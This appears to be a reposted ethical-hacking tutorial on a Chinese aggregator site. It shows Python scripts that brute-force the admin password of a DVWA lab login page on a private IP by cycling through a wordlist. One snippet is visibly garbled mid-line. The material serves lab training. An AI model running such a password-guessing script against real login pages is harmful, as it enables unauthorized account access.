Python Ethical Hacking - WEB PENETRATION TESTING(5)
发布时间:2020-12-20 10:15:20 所属栏目:Python 来源:网络整理
导读:Guessing Login Information on Login Pages Our target website:?http://10.0.0.45/dvwa/login.php ? ? # !/usr/bin/env python import requeststarget_url = " http://10.0.0.45/dvwa/login.php " data_dict = { " username " : " dfdfddfd " , " password
Guessing Login Information on Login Pages Our target website:?http://10.0.0.45/dvwa/login.php ? ? #!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php" data_dict = {"username": "dfdfddfd","password": "1234","Login": "submit"} response = requests.post(target_url,data = data_dict) print(response.content.decode()) Execute the Python Script. ? ? #!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php" data_dict = {"username": "admin","password": "password",data = data_dict) print(response.content.decode()) ? ? #!/usr/bin/env python import requests target_url = "http://10.0.0.45/dvwa/login.php" data_dict = {"username": "admin","password": "","Login": "submit"} with open("password.list","r") as wordlist_file: for line in wordlist_file: word = line.strip() data_dict["password"] = word response = requests.post(target_url,data=data_dict) if "Login failed" not in response.content.decode(): print("[+] Got the password --> " + word) exit() print("[+] Reached end of line.") (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
相关内容
- CentOS 6.5下安装Python 3.5.2(与Python2并存)
- python不下载获取远程图片的宽度和高度及文件大小的方法
- Python选课系统开发程序
- python – 具有非常大的numpy数组的效率
- pip报错解决:EnvironmentError: mysql_config not found
- python安装教程 Pycharm安装详细教程
- python – 使用tweepy和多个API密钥获取Twitter粉丝
- 笨办法学Python 习题 34: 访问列表的元素
- python – 将MIMEText编码为引用的可打印文件
- python – 用pip安装Django,找不到django-admin